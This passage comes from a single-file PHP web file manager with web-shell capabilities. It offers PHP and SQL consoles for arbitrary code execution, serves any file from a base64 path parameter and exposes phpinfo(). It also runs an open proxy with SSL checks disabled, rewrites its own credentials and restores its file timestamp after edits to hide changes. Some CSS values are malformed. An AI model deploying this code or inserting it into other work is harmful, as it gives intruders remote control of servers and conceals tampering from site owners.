	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #E9967A ; text-decoration: underline; }
a.th:link { color: ##808000; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #E9967A ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #F08080 ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##F08080;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
